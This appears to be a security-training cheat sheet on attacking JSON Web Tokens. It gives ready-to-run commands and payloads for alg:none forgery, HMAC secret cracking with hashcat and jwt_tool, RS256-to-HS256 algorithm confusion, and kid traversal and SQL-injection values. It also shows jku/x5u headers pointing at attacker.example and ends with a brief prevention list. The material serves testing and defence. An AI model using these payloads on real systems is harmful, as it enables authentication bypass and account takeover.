JWT Attacks: The Complete Practical Guide

JWT Attacks Cheat Sheet

A dense, copy-pasteable JWT reference: decode, alg:none, weak-secret cracking, algorithm confusion, kid/jku/jwk injection, claim tampering, and prevention.

Published

Every JWT attack you reach for, in one place. The core move never changes: get the server to accept a token it should reject, by skipping verification, recovering the key, or fooling the server about which key to use. For the how and why behind each section, start at the JWT guide. Lock it in on a free live target.

Decode a token (base64url, URL-safe alphabet, stripped padding)

# header
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | tr '_-' '/+' | base64 -d
# {"alg":"HS256","typ":"JWT"}
 
# with python / PyJWT (no verification)
python3 -c "import jwt,sys; print(jwt.get_unverified_header(sys.argv[1])); print(jwt.decode(sys.argv[1], options={'verify_signature': False}))" <TOKEN>
 
# or just
python3 jwt_tool.py <TOKEN>

First move on any token: split on the dots, decode the first two parts, note the alg and which claim sets your privileges. See anatomy of a JWT.

alg:none (skip the signature)

Set alg to a none variant, edit the claims, send an empty signature (keep the trailing dot).

{ "alg": "none", "typ": "JWT" }
{ "alg": "None", "typ": "JWT" }
{ "alg": "NONE", "typ": "JWT" }
{ "alg": "nOnE", "typ": "JWT" }
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
python3 jwt_tool.py <TOKEN> -X a

The case variants dodge a blocklist that only matched lowercase none. Also test a garbage signature, some servers never verify at all. See flawed signature verification.

Weak HMAC secret: crack offline, then forge

# hashcat (mode 16500 = JWT)
hashcat -a 0 -m 16500 token.jwt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 token.jwt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
 
# jwt_tool dictionary crack
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
 
# re-sign / tamper once you know the secret
python3 jwt_tool.py <TOKEN> -S hs256 -p 'cracked-secret' -T
 
# forge in python
python3 -c "import jwt; print(jwt.encode({'sub':'admin','role':'admin'}, 'cracked-secret', algorithm='HS256'))"

Only works on HMAC (HS256/384/512) with a guessable secret. A long random key does not crack. See weak secret brute force.

Algorithm confusion (RS256 verifier tricked into HS256)

# 1. get the RSA public key
curl https://target.tld/.well-known/jwks.json        # or /jwks, /keys, OIDC discovery
docker run --rm -it portswigger/sig2n <t1> <t2>      # recover candidate keys from two tokens
 
# 2. sign an HS256 token using the PUBLIC KEY file bytes as the HMAC secret
python3 jwt_tool.py <TOKEN> -X k -pk public.pem

The HMAC secret must be the public key in the EXACT byte form the server loads it, normally the full PEM including the -----BEGIN PUBLIC KEY----- armor and trailing newline. A single wrong byte breaks it. See algorithm confusion.

Header injection: jwk / jku / kid / x5u

{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<your-n>", "e": "AQAB" } }
{ "alg": "RS256", "jku": "https://attacker.example/jwks.json" }
{ "alg": "HS256", "kid": "../../../../../../dev/null" }
{ "alg": "HS256", "kid": "nonexistent' UNION SELECT 'attackerkey'-- -" }
{ "alg": "RS256", "x5u": "https://attacker.example/cert.pem" }
python3 jwt_tool.py <TOKEN> -X i                                   # inject your own jwk
python3 jwt_tool.py <TOKEN> -X s -ju https://attacker.example/jwks.json   # spoof a jku JWKS

kid to /dev/null means the server loads an empty key, so sign with an empty or null key (in Burp's JWK editor enter k as AA==, base64url for a null byte; jwt_tool/raw code uses the empty key directly). kid SQLi means sign with the value the injected query returns. jku/x5u need the server to fetch your URL. See JWK, JKU, and KID injection.

Claim tampering (once you can sign, or when exp is unchecked)

"exp": 9999999999            far-future expiry
"nbf": 0                     valid from the epoch, so already valid
"iat": <now>                 fix issued-at if the server sanity-checks it

Remove exp entirely on servers that accept a token with no expiry. Even without signing, many servers decode but never check exp, so an old token replays.

Attack triage checklist

[ ] Decode: what alg? which claim (role/sub/exp) decides access?
[ ] alg:none (+ None / NONE / nOnE), empty signature.
[ ] Garbage signature: is the token accepted unverified?
[ ] HS256: crack the secret (hashcat -m 16500 / jwt_tool -C).
[ ] RS256: fetch the public key, try algorithm confusion (RS256 -> HS256).
[ ] Header params: jwk (embed), jku (your JWKS), kid (traversal / SQLi), x5u.
[ ] Tamper exp/nbf; replay an expired token (expiry often unchecked).
[ ] Rewrite role/sub and re-sign with whatever key you now control.

Prevention

  • Pin the algorithm server-side and pass it explicitly to the verifier (PyJWT algorithms=["HS256"], Node { algorithms: ["HS256"] }). Reject none.
  • Verify, do not just decode. Fail closed on any verification error.
  • Strong keys: a long random HMAC secret, or well-managed asymmetric keys. Never reuse a key across algorithms.
  • Reject or pin jwk, jku, x5u, x5c. Allow-list kid and never let it reach a file or query sink.
  • Validate exp, nbf, iss, aud every request. Keep tokens short-lived and revocable.

Full detail in preventing JWT attacks.

← Back to JWT Attacks: The Complete Practical Guide